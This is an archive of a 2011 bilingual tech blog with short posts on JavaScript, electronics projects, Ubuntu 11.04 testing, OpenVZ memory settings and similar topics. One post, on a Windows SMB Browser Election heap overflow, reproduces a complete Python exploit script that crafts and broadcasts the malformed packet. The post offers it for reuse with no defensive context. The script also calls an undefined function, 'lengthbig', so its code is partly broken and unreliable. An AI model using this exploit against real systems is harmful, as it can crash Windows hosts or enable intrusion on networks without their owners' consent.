lunes 28 de febrero de 2011

Essential JavaScript Design Patterns For Beginners (free)

Essential JavaScript Design Patterns For Beginners is a great guide with a lot of code examples.

viernes 18 de febrero de 2011

Ultra freak Working Aliens Motion Tracker


Check the video of this ultra freak motion tracker.




Here is the log of the motion tracker with more information

jueves 17 de febrero de 2011

Heart rate measurement from fingertip

Heart rate measurement indicates the soundness of the human cardiovascular system. This project demonstrates a technique to measure the heart rate by sensing the change in blood volume in a finger artery while the heart is pumping the blood. It consists of an infrared LED that transmits an IR signal through the fingertip of the subject, a part of which is reflected by the blood cells. 

How to do usability testing on your web site

 UserTesting.com. They provided what appeared to be a very simple service: you define a script of tasks you want someone to run through and identify some high level demographics of the kind of person you would like to have look at your site. You pay a set price ($39 / test or $29 / test when buying 3 tests initially). I did the three test option and the experience was excellent.


If the only people that give you feedback on your web site are in your personal network (friends, family, colleagues, etc) then you really need to give low cost usability testing a try. You'll likely find out a lot about your site that you probably didn't know.

How to do usability testing on your web site

miércoles 16 de febrero de 2011

The dual-core phone that runs Ubuntu



The Texas Intruments OMAP 4 chip inside it is based on ARM’s Cortex-A9 architecture and in the video below it’s shown running Android 2.3 and Ubunutu 10.04 simultaneously.

martes 15 de febrero de 2011

New Windows zero-day SMB BROWSER ELECTION Remote Heap Overflow




The vulnerability is reportedly in the "BowserWriteErrorLogEntry()" function within the "mrxsmb.sys" driver.
The successful exploitation may allow execution of arbitrary code.

Author: Cupidon-3005

Here is the exploit!


####################################################################################
#MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow
#Release date: 2011-02-14
#Author: Cupidon-3005
#Greet: Winny Thomas, Laurent Gaffie, h07
#Bug: Heap Overflow
#Remote Exploitability: Unlikely
#Local Exploitability: Likely
#Context: Broadcast, Pre-Auth
#####################################################################################
#Mrxsmb.sys, around BowserWriteErrorLog+0x175, while trying to copy 1go from ESI to EDI ...
#Code will look something like this:
#if ((Len + 1) * sizeof(WCHAR)) > TotalBufferSize) { Len = TotalSize/sizeof(WCHAR) - 1; }
#-1 causes Len to go 0xFFFFFFFF
#Feel free to reuse this code without restrictions...
 
import socket,sys,struct
from socket import *
 
if len(sys.argv)<=4:   
 sys.exit("""usage: python sploit.py UR-IP BCAST-IP NBT-NAME AD-NAME
 example: python sploit.py 192.168.1.10 192.168.1.255 OhYeah AD-NETBIOS-NAME""")
 
ourip = sys.argv[1]
host = sys.argv[2]
srcname = sys.argv[3].upper()
dstname = sys.argv[4].upper()
 
 
ELEC            = "\x42\x4f\x00"
WREDIR          = "\x41\x41\x00"
 
def encodename(nbt,service):
    final = '\x20'+''.join([chr((ord(i)>>4) + ord('A'))+chr((ord(i)&0xF) + ord('A')) for i in nbt])+((15 - len(nbt)) * str('\x43\x41'))+service
    return final
 
def lengthlittle(packet,addnum):
    length = struct.pack("i", len(packet)+addnum)[2:4]
    return length
 
def election(srcname):
    elec = "\x08"
    elec+= "\x09" #Be the boss or die
    elec+= "\xa8\x0f\x01\x20" #Be the boss or die
    elec+= "\x1b\xe9\xa5\x00" #Up time
    elec+= "\x00\x00\x00\x00" #Null, like SDLC
    elec+= srcname+"\x00"
    return elec
 
def smbheaderudp(op="\x25"):
    smbheader= "\xff\x53\x4d\x42"
    smbheader+= op
    smbheader+= "\x00"
    smbheader+= "\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00\x00\x00\x00\x00\x00\x00"
    smbheader+=  "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    return smbheader
 
 
def trans2mailslot(tid="\x80\x0b",ip=ourip,sname="LOVE-SDL",dname="SRD-LOVE",namepipe="\MAILSLOT\BROWSE",srcservice="\x41\x41\x00",dstservice="\x41\x41\x00",pbrowser=""):
    packetbrowser  =  pbrowser                            
    packetmailslot = "\x01\x00"                           
    packetmailslot+= "\x00\x00"                           
    packetmailslot+= "\x02\x00"                           
    packetmailslot+= lengthlittle(packetbrowser+namepipe,4)
    packetmailslot+= namepipe +"\x00"
    packetdatagram = "\x11"
    packetdatagram+= "\x02"
    packetdatagram+= tid
    packetdatagram+= inet_aton(ip)
    packetdatagram+= "\x00\x8a"
    packetdatagram+= "\x00\xa7"
    packetdatagram+= "\x00\x00"
    packetdatagramname = encodename(sname,srcservice)
    packetdatagramname+= encodename(dname,dstservice)
    smbheader= smbheaderudp("\x25")
    packetrans2 = "\x11"
    packetrans2+= "\x00\x00"
    packetrans2+= lengthlittle(packetbrowser,0)
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00"
    packetrans2+= "\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\xe8\x03\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= lengthlittle(packetbrowser,0)
    packetrans2+= lengthlittle(smbheader+packetrans2+packetmailslot,4)
    packetrans2+= "\x03"
    packetrans2+= "\x00"
    andoffset = lengthlittle(smbheader+packetrans2+packetmailslot,2)
    lengthcalc = packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
    packetfinal = packetdatagram+packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
    packetotalength = list(packetfinal)
    packetotalength[10:12] = lengthbig(lengthcalc,0)
    packetrans2final = ''.join(packetotalength)
    return packetrans2final
 
def sockbroad(host,sourceservice,destservice,packet):
   s = socket(AF_INET,SOCK_DGRAM)
   s.setsockopt(SOL_SOCKET, SO_BROADCAST,1)
   s.bind(('0.0.0.0', 138))
   try:
      packsmbheader = smbheaderudp("\x25")
      buffer0 = trans2mailslot(tid="\x80\x22",ip=ourip,sname=srcname,dname=dstname,namepipe="\MAILSLOT\BROWSER",srcservice=sourceservice, dstservice=destservice, pbrowser=packet)
      s.sendto(buffer0,(host,138))
   except:
      print "expected SDL error:", sys.exc_info()[0]
      raise
  
sockbroad(host,WREDIR,ELEC,election("A" * 410)) # -> Zing it! (between ~60->410)
print "Happy St-Valentine Bitches\nMSFT found that one loooooooong time ago...."

The Bilibot Project



The Bilibot Project is an effort to build an affordable robotics platform for educators, hobbyists and researchers.

The main focus of this project is the computer platform, although we do produce the full packaged robot. Lots of small cheap computers exist, but which ones would be good robot brains?

lunes 14 de febrero de 2011

Arduino Based PC Ambient Lighting


Ambient lighting systems are cool. Some time ago philips lanched ambilight that was the first ambient light I saw.
Recently some one create ambient light with arduino, i check the blog post of arduino ambiente light  and saw a cool video of the ambient light in action with a star wars movie pretty cool!

domingo 13 de febrero de 2011

Hola Susana, te estamos decodificando...


hoy en castellano, la puta madre, te escribo este post de blogger que no soy.
El post que encontre en internet me llamo la atencion porque esta copado y es de argentina,igual es una pelotudes...

resumen :


Cada número de un teléfono tiene asignado un sonido distinto. Si nuestro oido fuera capaz de diferenciar entre estos sonidos, podríamos saber qué número fue discado con solo escuchar el sonido que este emite al presionarlo.
Esto resulta muy difícil sino imposible. Sin embargo, usando herramientas matemáticas, podemos deducir el o los números que fueron presionados.

Aca esta completo Hola Susana, te estamos decodificando...

jueves 10 de febrero de 2011

Ubuntu 11.04 (Natty Narwhal) alpha 2



Download Ubuntu 11.04 daily ISO


Ubuntu 11.04 daily ISO amd64
Ubuntu 11.04 daily ISO x86
Ubuntu 11.04 daily ISO powerpc


How to Test 


Upgrade
If you don't want to install your system by ISO files, you can change the "lucid" or "maverick" from "/etc/apt/sources.list" to "natty", then run "sudo apt-get dist-upgrade" to upgrade your system to Ubuntu 11.04, BUT I DONT RECOMMENT TO DO THIS.


Repartition
The best option to test natty ISO is to repartition your harddrive with gparted, and  install Ubuntu 11.04 in a new partition. 


Live cd
You could also run the live from cd.


Virtualization
Or run it from a VM using vmware or virtual box. 
I dont know if unity runs under vmware due to 3d support, but under virtual box is running after installing Guest Additions and then restart the virtual machine.


Reporting bugs


For reporting bugs please check the ubuntu guidelines at the ubuntu wiki this is very important to improve the ubuntu stability.





The dates of releases for the version 11.04 are:


* 2/12/2010: Ubuntu 11.04 Natty Narwhal Alpha 1
* 3/2/2011: Ubuntu 11.04 Natty Narwhal Alpha 2
* 3/3/2011: Ubuntu 11.04 Natty Narwhal Alpha 3
* 31/3/2011: Ubuntu 11.04 Natty Narwhal Beta
* 21/4/2011: Ubuntu 11.04 Natty Narwhal Release Candidate
* 28/4/2011: Ubuntu 11.04 Natty Narwhal!!





for more data of Natty check the ubuntu natty narwhal wiki

miércoles 9 de febrero de 2011

openvz add/change/adjunt memory for a container





example :
512MB Guaranteed, 1024MB Burstable

vzctl set CONTAINER_ID --vmguarpages 512M --save
vzctl set CONTAINER_ID --oomguarpages 512M --save
vzctl set CONTAINER_ID --privvmpages 512M:1024M --save

CONTAINER_ID should be replaced with the container (or vps) to add or change the ram size.

vmguarpages: This parameter controls how much memory is available to the Virtual Environment (i.e. how much memory its applications can allocate by malloc(3) or other standard Linux memory allocation mechanisms). The more clients are served or the more “heavy” the application is, the more memory it needs.

oomguarpages: this parameter is related to vmguarpages. If applications start to consume more memory than the computer has, the system faces an out-of-memory condition. In this case the operating system will start to kill container's processes to free some memory and prevent the total death of the system. Although it happens very rarely in typical system loads, killing processes in out-of-memory situations is a normal reaction of the system, and it is built into every Linux kernel.

privvmpages: The barrier and the limit of privvmpages parameter control the upper boundary of the total size of allocated memory.

martes 1 de febrero de 2011

Julia Meets HTML5



"Google labs has created a demo web page where fractals combine with HTML5 to give a fully interactive viewer that uses nothing but JavaScript and as many cores as you care to offer it and not a plug-in in sight."
Google Analytics Alternative